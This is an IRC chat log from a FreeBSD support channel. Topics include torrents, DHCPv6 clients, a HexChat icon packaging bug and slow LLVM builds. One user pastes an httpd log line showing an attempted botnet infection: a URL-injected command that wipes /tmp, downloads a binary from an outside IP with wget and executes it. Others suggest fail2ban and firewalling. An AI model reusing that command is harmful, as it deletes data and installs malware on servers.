yeah, it's a different axis… process/user, process group (almost useless), jail… now a contract (or cgroup) would be somewhere between those…

Title: 268401 – PkgBase should package the src snapshot it was built from

why is the magnet for FreeBSD-13.1-RELEASE-amd64-memstick.img giving me an error of "Unable to download files for this magnet". Using deluge.

what's the idea behind '===>>>' in bsd port?

has anyone tried llvm15 on physical machine? how did port go?

I found some more magnets that aren't working

magnets?

at wiki.freebsd.org/Torrents

Title: Torrents - FreeBSD Wiki

interesting

what's the recommend way to get DHCPv6 support in FreeBSD, given that cathode.church/@meena/109520737616045583

Title: Mina: "FreeBSD's dhclient was forked from ISC dhclient b…" - Cathode Church

bugs.freebsd.org/bugzilla/buglist.c…i?quicksearch=DHCPv6&list_id=555909 somehow, no one else in the history of FreeBSD has had this issue

Title: Bug List

isc-dhcp44-client

I wonder how hard it would be to drop that into base, and put our capsicum changes on top of that

hrm… MPL20 might be incompatible

I've installed the hexchat package and something seems to be confused about the HexChat icon.

There's /usr/local/share/pixmaps/hexchat.png, which is a link.

But the target path seems off.

See paste.debian.net/plainh/4adc1758

On top of that, there seems to be no HexChat icon whatsoever in /usr/local/share/icons.

msiism: when you open a bug, it mails the maintainer, and it's tracked

Okay, let me see.

msiism, try 'pkg install -f hexchat'

So, this could be because the package wasn't installed correctly, you mean?

Let me try.

Well, that didn't change anything, unfortunately.

Is anyone here also using Hexchat on 13.1 and can confirm the problem?

msiism, i have it but 'pkg install -f hexchat' generate GTK icon cache for /usr/local/share/icons/hicolor

Yeah, it says it does that.

So, does 'pkg install -f hexchat' fix it for you?

msiism, yes

So, you do have some HexChat icon in /usr/local/share/icons after that?

And what about the link path in /usr/local/share/pixmaps?

msiism, yes icons have io.github.Hexchat.png and io.github.Hexchat.svg

And you're on 13.1?

msiism, yes

Oh, seeing it now.

Now, I wonder whether these already were there before.

I mean before 'pkg install -f'.

msiism,that help me to get icon properly on desktop for gnome not sure about before

Okay, well, I'll report the dangling link for now then. Thanks.

Just found this doozy of an entry in my httpd logs:

125.42.238.13 - - [16/Dec/2022:05:31:00 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://125.42.238.13:44760/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 196

Welcome to the Internet.

skered: aside from fail2ban, anyway to put a stop to this kind of stuff

or it it just an occupational hazard of using the net

fail2ban is a good start. firewalling and/or firewalling based geo info too.

But for the most part it's just a fact of life.

RoyalYork: You can build up a set of rules in either apache24 or nginx to send a 403 or a custom message. However, skered is right, it's a fact of life for a webmaster.

llvm compilation takes forever. how can i reduce compile time

with pkg

well

i don't know what to say, i need to compile

why do you need to compile?

meena: yes, it's silly to run 2 versions of dhclient one for each protocol

rtprio: somebody made a port for that: freshports.org/net/dual-dhclient

Title: FreshPorts -- net/dual-dhclient: Spawns dhclients for a dual-stack network

rtprio: im nerd

which requires the port, and runs both clients :|

mictty: then i suggest work on something else and check it later

rtprio: that is what im doing with you now

great

There's also dhcpcd.

mictty: buy a faster CPU with more cores and that can address more memory? ;)

mictty: that's what i did

Talking to yourself is usually a good way to ensure you won't get too much backtalk. :D

debdrup: that's what i did

sorry i am sleepy

:)

mictty: poudriere can do both seeded and thin repositories, as well as use tmpfs and do priority boosting, and can be configured to use ccache on top of all those things - but ultimately, things like LLVM are just very very big and take a long long time.

friends i have a confession to make. I left freebsd for void linux. i am ashame

but after using void linux. well, it left me feeling a void. only something that freebsd could fill. i return to freebsd.

congrats

exit

I have a lot of respect for Void. They have become the reference for Runit init just like FreeBSD has become the reference for ZFS. We are all family.